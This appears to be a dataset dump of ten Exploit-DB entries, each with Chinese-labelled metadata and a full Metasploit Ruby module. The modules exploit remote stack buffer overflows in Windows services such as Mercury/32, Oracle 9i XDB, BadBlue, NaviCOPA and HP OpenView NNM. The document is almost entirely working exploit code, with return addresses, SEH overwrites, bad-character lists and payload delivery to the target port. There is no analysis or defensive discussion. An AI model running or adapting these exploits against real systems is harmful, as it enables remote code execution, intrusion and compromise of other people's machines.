QLWD/code_shield huggingface dataset:
标题: SoftiaCom wMailServer 1.0 - Remote Buffer Overflow (Metasploit) EDB-ID: 16819 CVE: 2005-2287 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: wmailserver.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SoftiaCom WMailserver 1.0 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.0
    (SMTP) via a SEH frame overwrite.
   },
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-2287' ],
     [ 'OSVDB', '17883' ],
     [ 'BID', '14213' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Platform'       => 'win',
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x20",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English All',     { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English',   { 'Ret' => 0x71aa32ad } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 11 2005 '))

  register_options([ Opt::RPORT(25) ], self.class)
 end

 def exploit
  connect

  filler = " " + rand_text_alpha_upper(5115)
  seh = generate_seh_payload(target.ret)
  sploit = filler + seh + rand_text_alpha_upper(200)

  print_status("Trying target #{target.name}...")
  sock.put(sploit + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16819
标题: Novell NetMail 3.52d - NMAP STOR Buffer Overflow (Metasploit) EDB-ID: 16813 CVE: 2006-6424 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: nmap_stor.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
    verb. By sending an overly long string, an attacker can overwrite the
    buffer and control program execution.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-6424' ],
     [ 'OSVDB', '31363' ],
     [ 'BID', '21725' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7cdc97fb }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 23 2006'))

  register_options([Opt::RPORT(689)], self.class)
 end

 def exploit
  connect
  sock.get_once

  auth =  "USER " + rand_text_english(10)
  sock.put(auth + "\r\n")

  res = sock.get_once

  sploit =  "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
  sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded

  if (res =~ /1000/)
   print_status("Trying target #{target.name}...")
   sock.put(sploit)
  else
   print_status("Not in Trusted Hosts.")
  end

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16813
标题: Mercury/32 Mail SMTPD - AUTH CRAM-MD5 Buffer Overflow (Metasploit) EDB-ID: 16821 CVE: 2007-4440 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: mercury_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.
    By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker
    may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2007-4440' ],
     [ 'OSVDB', '39669' ],
     [ 'BID', '25357' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Platform'       => 'win',
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x20\x25",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 18 2007'))

  register_options([ Opt::RPORT(25) ], self.class)
 end

 def exploit
  connect

  sock.get_once

  sock.put("EHLO\r\n")

  sock.get_once

  sock.put("AUTH CRAM-MD5\r\n")

  sock.get_once
  select(nil,nil,nil,0.25)

  buffer =  rand_text_alpha_upper(204) + [target.ret].pack('V')
  buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)

  sploit = Rex::Text.encode_base64(buffer)

  print_status("Trying target #{target.name}...")
  sock.put(sploit + "\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16821
标题: NaviCOPA Web Server 2.0.1 - URL Handling Buffer Overflow (Metasploit) EDB-ID: 16808 CVE: 2006-5112 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-12 漏洞利用脚本: ##
# $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /InterVations/ ] }

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
    The vulnerability is caused due to a boundary error within the
    handling of URL parameters.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9797 $',
   'References'     =>
    [
     [ 'CVE', '2006-5112' ],
     [ 'OSVDB', '29257' ],
     [ 'BID', '20250' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
    ],
   'DisclosureDate' => 'Sep 28 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class )
 end

 def check
  connect

  sock.put("GET / HTTP/1.0\r\n\r\n")
  resp = sock.get_once
  disconnect

  if (resp =~ /2.01 11th September/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit =  rand_text_alphanumeric(228, payload_badchars)
  sploit << [target.ret].pack('V') + payload.encoded

  uri = '/' + sploit

  res = "GET #{uri} HTTP/1.1\r\n\r\n"

  print_status("Trying target %s" % target.name)

  sock.put(res)
  sock.close

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16808
标题: Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit) EDB-ID: 16809 CVE: 2003-0727 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: oracle9i_xdb_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the authorization
    code of the Oracle 9i HTTP XDB service. David Litchfield,
    has illustrated multiple vulnerabilities in the Oracle
    9i XML Database (XDB), during a seminar on "Variations
    in exploit methods between Linux and Windows" presented
    at the Blackhat conference.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2003-0727'],
     ['OSVDB', '2449'],
     ['BID', '8375'],
     ['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 18 2003'))

  register_options(
   [
    Opt::RPORT(8080)
   ], self.class )
 end

 def check
  connect
  sock.put("GET / HTTP/1.0\r\n\r\n")
  resp = sock.get_once
  disconnect

  if (resp =~ /9.2.0.1.0/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit =  rand_text_english(4, payload_badchars) + ":"
  sploit << rand_text_english(442, payload_badchars)
  sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V')
  sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded

  req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"

  res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req

  print_status("Trying target %s..." % target.name)

  sock.put(res)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16809
标题: YahooPOPs (YPOPS) 0.6 - Remote Buffer Overflow (Metasploit) EDB-ID: 16818 CVE: 2004-1558 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ypops_overflow1.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Smtp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'YPOPS 0.6 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the YPOPS POP3
    service.

    This is a classic stack buffer overflow for YPOPS version 0.6.
    Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
    jmp ebx opcode in ws_32.dll
   },
   'Author'         => [ 'acaro <acaro@jervus.it>' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-1558'],
     [ 'OSVDB', '10367'],
     [ 'BID', '11256'],
     [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
    ],
   'Platform'       => 'win',
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1200,
     'BadChars' => "\x00\x25",
     'MinNops'  => 106,
    },
   'Targets'        =>
    [
     [ 'Windows 2000 SP0 Italian',   { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
     [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
     [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
     [ 'Windows 2000 SP0 English',   { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
     [ 'Windows 2000 SP1 English',   { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
     [ 'Windows 2000 SP2 English',   { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
     [ 'Windows 2000 SP3 English',   { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
     [ 'Windows 2000 SP4 English',   { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
     [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
     [ 'Windows XP SP2 English',     { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
     [ 'Windows 2003 SP0 English',   { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
     [ 'Windows 2003 SP1 English',   { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
    ],
   'DisclosureDate' => 'Sep 27 2004'))
 end

 def check
  connect
  disconnect

  banner.gsub!(/\n/, '')

  if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
   print_status("Vulnerable SMTP server: #{banner}")
   return Exploit::CheckCode::Detected
  end

  print_status("Unknown SMTP server: #{banner}")
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  pattern =
   rand_text_alpha(target['Offset'] - payload.encoded.length) +
   payload.encoded +
   [target.ret].pack('V') +
   "\n"

  print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")

  sock.put(pattern)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16818
标题: GoodTech Telnet Server 5.0.6 - Remote Buffer Overflow (Metasploit) EDB-ID: 16817 CVE: 2005-0768 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: goodtech_telnet.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
    versions prior to 5.0.7. By sending an overly long string, an attacker can
    overwrite the buffer and control program execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0768' ],
     [ 'OSVDB', '14806'],
     [ 'BID', '12815' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English All',   { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Mar 15 2005',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(2380)
   ], self.class)
 end

 def exploit
  connect

  sploit = rand_text_english(10020, payload_badchars)
  seh    = generate_seh_payload(target.ret)

  sploit[10012, seh.length] = seh

  print_status("Trying target #{target.name}...")

  sock.put(sploit + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16817
标题: BadBlue 2.72b - PassThru Buffer Overflow (Metasploit) EDB-ID: 16806 CVE: 2007-6377 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-08 漏洞利用脚本: ##
# $Id: badblue_passthru.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
 # However, a proper Server header is returned when requesting /index.html or using HEAD.
 HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the PassThru
    functionality in ext.dll in BadBlue 2.72b and earlier.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9744 $',
   'References'     =>
    [
     ['CVE', '2007-6377'],
     ['OSVDB', '42416'],
     ['BID', '26803'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
     'StackAdjustment' => -3500,
     #'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops' =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # This is the version being distributed on badblue.com as of Jul 7th 2010
     [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
     [ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ]   # pop/pop/ret from ??
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 10 2007'))
 end

 def exploit
  seh_offset = 4116
  sploit = Rex::Text.pattern_create(seh_offset)
  # Need to jump over the nul byte
  seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
  sploit << seh

  plen = payload.encoded.length
  sploit[seh_offset - 16 - plen, plen] = payload.encoded

  # This pointer will force a crash when it is used in a lock instruction
  ptr = rand_text(3)
  ptr << [0x80|rand(256)].pack('C')
  sploit[seh_offset - 8,4] = ptr

  # These two bytes get corrupted, so we can't use them.
  sploit << rand_text(2)

  # jump back to the payload
  distance = 2 + 8 + 16 + plen
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string


  # Build the final URI
  uri = "/ext.dll?mfcisapicommand=PassThru&"
  uri << sploit

  print_status("Trying target %s..." % target.name)
  send_request_raw({ 'uri' => uri }, 5)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16806
标题: CA iTechnology iGateway - Debug Mode Buffer Overflow (Metasploit) EDB-ID: 16801 CVE: 2005-3190 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the Computer Associates
    iTechnology iGateway component. When <Debug>True</Debug> is enabled
    in igateway.conf (non-default), it is possible to overwrite the stack
    and execute code remotely. This module works best with Ordinal payloads.
   },
   'Author'         => 'patrick',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2005-3190' ],
     [ 'OSVDB', '19920' ],
     [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
     [ 'BID', '15025' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'Compat'   =>
     {
      'ConnectionType' => '+ws2ord',
     },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Oct 06 2005',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(5250),
   ], self.class)
 end

 def check
  connect
  sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
  banner = sock.get(-1,3)

  if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  seh = generate_seh_payload(target.ret)
  buffer = Rex::Text.rand_text_alphanumeric(5000)
  buffer[1082, seh.length] = seh
  sploit = "GET /" + buffer + " HTTP/1.0"

  sock.put(sploit + "\r\n\r\n\r\n")

  disconnect
  handler
 end
end URL: https://www.exploit-db.com/exploits/16801
标题: HP OpenView Network Node Manager (OV NNM) - 'OpenView5.exe' CGI Buffer Overflow (Metasploit) EDB-ID: 16805 CVE: 2007-6204 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: hp_nnm_openview5.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager OpenView5.exe CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
    By sending a specially crafted CGI request, an attacker may be able to execute
    arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-6204' ],
     [ 'OSVDB', '39530' ],
     [ 'BID', '26741' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 6 2007'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit
  connect

  sploit =  "GET /OvCgi/OpenView5.exe?Context=Snmp&Action=" + rand_text_alpha_upper(5123)
  sploit << [target.ret].pack('V') + payload.encoded

  print_status("Trying target %s..." % target.name)
  sock.put(sploit + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16805